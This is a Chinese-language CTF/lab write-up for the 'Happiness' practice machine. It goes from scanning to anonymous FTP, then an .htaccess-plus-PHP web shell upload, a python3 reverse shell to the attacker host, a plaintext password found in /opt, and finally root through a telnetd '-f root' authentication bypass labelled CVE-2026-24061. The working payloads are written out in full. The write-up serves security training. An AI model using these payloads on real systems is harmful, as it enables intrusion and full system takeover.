

Happiness-山然

1. 目标信息

2. 信息收集

2.1 端口扫描

2.2 目录扫描

3. 漏洞利用

3.1 ftp匿名登录

3.2 文件上传漏洞

4. 提权至Echo用户

5. 提权至root用户

漏洞基本信息

1. 目标信息

- 靶机名称: Happiness
- 难度: easy
- 靶机IP: 10.0.2.59
- 攻击机IP: 10.0.2.50 (Kali Linux)
- 靶机地址: <https://maze-sec.com/>

2. 信息收集

2.1 端口扫描

开放21, 22, 80端口

```

1  └─# rustscan -a 10.0.2.59
2  .----- .----- .----- .----- .----- .----- .----- .-----
3  | {} }| {} |{ { _ { _ }{ { _ / _ } / {} \ | `| |
4  | .-. \ | {} |.-.} } | | .-.} } \ _ } / \ \ \ | \ |
5  `_' `_' `_' `_' `_' `_' `_' `_' `_' `_' `_' `_' `_' `_' `_'
6  The Modern Day Port Scanner.
7  _____
8  : http://discord.skerritt.blog :
9  : https://github.com/RustScan/RustScan :
10  _____
11  Open ports, closed hearts.
12
13  [~] The config file is expected to be at "/root/.rustscan.toml"
14  [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
15  [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
16  Open 10.0.2.59:21
17  Open 10.0.2.59:22
18  Open 10.0.2.59:80
19  [~] Starting Script(s)
20  [~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-24 09:00 EST
21  Initiating ARP Ping Scan at 09:00
22  Scanning 10.0.2.59 [1 port]
23  Completed ARP Ping Scan at 09:00, 0.03s elapsed (1 total hosts)
24  Initiating SYN Stealth Scan at 09:00
25  Scanning tmpfile.dsz (10.0.2.59) [3 ports]
26  Discovered open port 80/tcp on 10.0.2.59
27  Discovered open port 21/tcp on 10.0.2.59
28  Discovered open port 22/tcp on 10.0.2.59
29  Completed SYN Stealth Scan at 09:00, 0.02s elapsed (3 total ports)
30  Nmap scan report for tmpfile.dsz (10.0.2.59)
31  Host is up, received arp-response (0.00067s latency).
32  Scanned at 2026-01-24 09:00:54 EST for 0s
33
34  PORT      STATE SERVICE REASON
35  21/tcp    open  ftp      syn-ack ttl 64
36  22/tcp    open  ssh      syn-ack ttl 64
37  80/tcp    open  http     syn-ack ttl 64
38  MAC Address: 08:00:27:82:1A:29 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
39
40  Read data files from: /usr/share/nmap
41  Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
42  Raw packets sent: 4 (160B) | Rcvd: 4 (160B)

```

2.2 目录扫描

直接扫描，并没有收获 通过ftp 获取域名 才能扫到

Plain Text

```
1 feroxbuster -u http://tmpfile.dsz/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x json,php,txt,html -d 3 -C 503,404 --redirects --force-recursion
```

```

feroxbuster -u http://tmpfile.dsz/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x json,php,txt,html -d 3 -C 503,404 --redirects --force-recursion

FERRIC OXIDE
by Ben "epi" Risher ver: 2.13.1

Target Url      http://tmpfile.dsz/
In-Scope Url    tmpfile.dsz
Threads         50
Wordlist         /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt
Status Code Filters [503, 404]
Timeout (secs)  7
User-Agent       feroxbuster/2.13.1
Config File      /etc/feroxbuster/ferox-config.toml
Extract Links    true
Extensions      [json, php, txt, html]
HTTP methods     [GET]
Follow Redirects true
Recursion Depth  3
Force Recursion  true

Press [ENTER] to use the Scan Management Menu™

404 GET 9l 31w 273c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 27l 135w 1490c http://tmpfile.dsz/index.php
200 GET 27l 135w 1490c http://tmpfile.dsz/
200 GET 20l 103w 1733c http://tmpfile.dsz/uploads/
200 GET 2l 14w 92c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 1026l 5285w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 27l 135w 1490c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
[##>] - 50s 216292/1965840 7m found:3 error:850
[####>] - 50s 68425/280815 1356/s http://tmpfile.dsz/

```

发现

<http://tmpfile.dsz/index.php>

<http://tmpfile.dsz/uploads/>

3. 漏洞利用

3.1 ftp匿名登录

```

└─# ftp 10.0.2.59
Connected to 10.0.2.59.
220 Have fun!
Name (10.0.2.59:kali): Anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||25905|)
150 Here comes the directory listing.
-r--r--r--    1 0      0          20 Jan 22 12:27 readme.txt
226 Directory send OK.
ftp> get readme.txt
local: readme.txt remote: readme.txt
229 Entering Extended Passive Mode (|||22190|)
150 Opening BINARY mode data connection for readme.txt (20 bytes).
100% |*****
226 Transfer complete.
20 bytes received in 00:00 (19.64 KiB/s)
ftp>
ftp>
zsh: suspended  ftp 10.0.2.59

└─(root@kali)-[/range/Happiness]
└─# cat readme.txt
http://tmpfile.dsz/

```

加到/etc/hosts里面 然后再次目录扫描

发现 两个网站

<http://tmpfile.dsz/index.php>

<http://tmpfile.dsz/uploads/>

3.2文件上传漏洞

发现首页可以上传 `.htaccess` 的文件 内容为

	Plain Text
1	AddType application/x-httpd-php .jpg

然后上传test1.jpg 内容为

	Plain Text
1	<?php phpinfo(); ?>
2	<?php system(\$_GET["cmd"]);?>

PHP Version 8.3.19	
System	Linux Happiness 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Build Date	Mar 13 2025 17:34:44
Build System	Linux
Server API	Apache 2.0 Handler
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/etc/php/8.3/apache2
Loaded Configuration File	/etc/php/8.3/apache2/php.ini
Scan this dir for additional .ini files	/etc/php/8.3/apache2/conf.d
Additional .ini files parsed	/etc/php/8.3/apache2/conf.d/10-mysqld.ini, /etc/php/8.3/apache2/conf.d/10-opcache.ini, /etc/php/8.3/apache2/conf.d/10-pdo.ini, /etc/php/8.3/apache2/conf.d/15-xml.ini, /etc/php/8.3/apache2/conf.d/20-calendar.ini, /etc/php/8.3/apache2/conf.d/20-ctype.ini, /etc/php/8.3/apache2/conf.d/20-curl.ini, /etc/php/8.3/apache2/conf.d/20-dom.ini, /etc/php/8.3/apache2/conf.d/20-exif.ini, /etc/php/8.3/apache2/conf.d/20-ffi.ini, /etc/php/8.3/apache2/conf.d/20-fileinfo.ini, /etc/php/8.3/apache2/conf.d/20-ftp.ini, /etc/php/8.3/apache2/conf.d/20-gd.ini, /etc/php/8.3/apache2/conf.d/20-gettext.ini, /etc/php/8.3/apache2/conf.d/20-iconv.ini, /etc/php/8.3/apache2/conf.d/20-mbstring.ini, /etc/php/8.3/apache2/conf.d/20-mysqli.ini, /etc/php/8.3/apache2/conf.d/20-pdo-mysql.ini, /etc/php/8.3/apache2/conf.d/20-phar.ini, /etc/php/8.3/apache2/conf.d/20-posix.ini, /etc/php/8.3/apache2/conf.d/20-readline.ini, /etc/php/8.3/apache2/conf.d/20-shmop.ini, /etc/php/8.3/apache2/conf.d/20-simplexml.ini, /etc/php/8.3/apache2/conf.d/20-sockets.ini, /etc/php/8.3/apache2/conf.d/20-sysvmsg.ini, /etc/php/8.3/apache2/conf.d/20-sysvsem.ini, /etc/php/8.3/apache2/conf.d/20-sysvshm.ini, /etc/php/8.3/apache2/conf.d/20-tokenizer.ini, /etc/php/8.3/apache2/conf.d/20-xmlreader.ini, /etc/php/8.3/apache2/conf.d/20-xmlwriter.ini, /etc/php/8.3/apache2/conf.d/20-xsl.ini, /etc/php/8.3/apache2/conf.d/20-zip.ini
PHP API	20230831
PHP Extension	20230831
Zend Extension	420230831
Zend Extension Build	API420230831.NTS
PHP Extension Build	API20230831.NTS
Debug Build	no
Thread Safety	disabled
Zend Signal Handling	enabled
Zend Memory Manager	enabled
Zend Multibyte Support	provided by mbstring
Zend Max Execution Timers	disabled
IPv6 Support	enabled
DTrace Support	disabled
Registered PHP Streams	https, ftps, compress.zlib, php, file, glob, data, http, ftp, phar, zip
Registered Stream Socket Transports	tcp, udp, unix, udg, ssl, tls, tlsv1.0, tlsv1.1, tlsv1.2, tlsv1.3

页面显示 说明php代码被正常解析了

接下来反弹shell

▼ Plain Text

```
1 http://tmpfile.dsz/uploads/test1.jpg?cmd=python3%20-c%20%27import%20socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.0.2.50%22,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(%22/bin/bash%22)%27
```

```
(root@kali)-[/range/Happiness]
# nc -lvvp 4444
listening on [any] 4444 ...
connect to [10.0.2.50] from tmpfile.dsz [10.0.2.59] 48466
www-data@Happiness:/var/www/html/uploads$
```

已提权至www-data用户

4.提权至Eecho用户

```

root@kali:~/range/happiness
# nc -lvvp 4444
listening on [any] 4444 ...
connect to [10.0.2.50] from tmpfile.dsz [10.0.2.59] 48466
www-data@Happiness:/var/www/html/uploads$ cd /opt
cd /opt
www-data@Happiness:/opt$ ls
ls
Echo_pass.txt
www-data@Happiness:/opt$ cat Echo_pass.txt
cat Echo_pass.txt
Echo:2VQzte2RBr8p8MuOA0Gw2Sum
www-data@Happiness:/opt$

```

在opt目录下得到用户密码 2VQzte2RBr8p8MuOA0Gw2Sum

稳定shell

▼ Plain Text

```

1  script /dev/null -c bash
2  Ctrl+Z
3  stty raw -echo; fg
4  reset xterm
5  export TERM=xterm
6  export SHELL=/bin/bash
7  stty rows 24 columns 80

```

5.提权至root用户

```

Echo@Happiness:/opt$ stty rows 24 columns 80
Echo@Happiness:/opt$ ss -tlnup
Netid  State  Recv-Q  Send-Q  Local Address:Port  Peer Address:Port
udp    UNCONN 0        0       127.0.0.1:37        0.0.0.0:*
udp    UNCONN 0        0        0.0.0.0:68         0.0.0.0:*
udp    UNCONN 0        0       127.0.0.1:7        0.0.0.0:*
udp    UNCONN 0        0       127.0.0.1:9        0.0.0.0:*
udp    UNCONN 0        0       127.0.0.1:13       0.0.0.0:*
udp    UNCONN 0        0       127.0.0.1:19       0.0.0.0:*
tcp    LISTEN 0        10      127.0.0.1:37        0.0.0.0:*
tcp    LISTEN 0        10      127.0.0.1:7        0.0.0.0:*
tcp    LISTEN 0        10      127.0.0.1:9        0.0.0.0:*
tcp    LISTEN 0        10      127.0.0.1:13       0.0.0.0:*
tcp    LISTEN 0        10      127.0.0.1:19       0.0.0.0:*
tcp    LISTEN 0        32        0.0.0.0:21         0.0.0.0:*
tcp    LISTEN 0       128        0.0.0.0:22         0.0.0.0:*
tcp    LISTEN 0        10      127.0.0.1:23       0.0.0.0:*
tcp    LISTEN 0       128          *:80               *:80
tcp    LISTEN 0       128      [::]:22            [::]:22

```

发现有 本地监听的 Telnet (Port 23)

尝试连接

直接telnet不行 需要加上busybox

```
e      exit telnet
Echo@Happiness:/opt$ telnet 127.0.0.1
bash: telnet: command not found
Echo@Happiness:/opt$ busybox telnet 127.0.0.1

Entering character mode
Escape character is '^]'.

Linux 4.19.0-27-amd64 (localhost) (pts/2)

Happiness login: █
```

这个界面 挺像刚刚爆出洞的telnet

先试一下poc

▼ Plain Text

```
1  USER='-f root' busybox telnet -a 127.0.0.1
```

成功获取flag

```
Login timed out after 60 seconds.
Connection closed by foreign host
Echo@Happiness:/opt$ USER='-f root' busybox telnet -a 127.0.0.1
Entering character mode
Escape character is '^]'.

Linux 4.19.0-27-amd64 (localhost) (pts/2)

Last login: Sat Jan 24 08:45:05 EST 2026 from localhost on pts/4
Linux Happiness 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@Happiness:~# cat root.txt
flag{root-b52bb1635e544c3f968822ab6c7a745d}
root@Happiness:~# █
```

漏洞基本信息

项目	内容
----	----

漏洞编号	CVE-2026-24061
漏洞名称	GNU Inetutils telnetd 远程代码执行漏洞
漏洞类型	远程代码执行（RCE）
漏洞等级	高危 / Critical
影响组件	inetutils-telnetd
影响版本	≤ 2.7（修复版本之前）
协议端口	TCP / 23
是否需要认证	否
是否可远程利用	是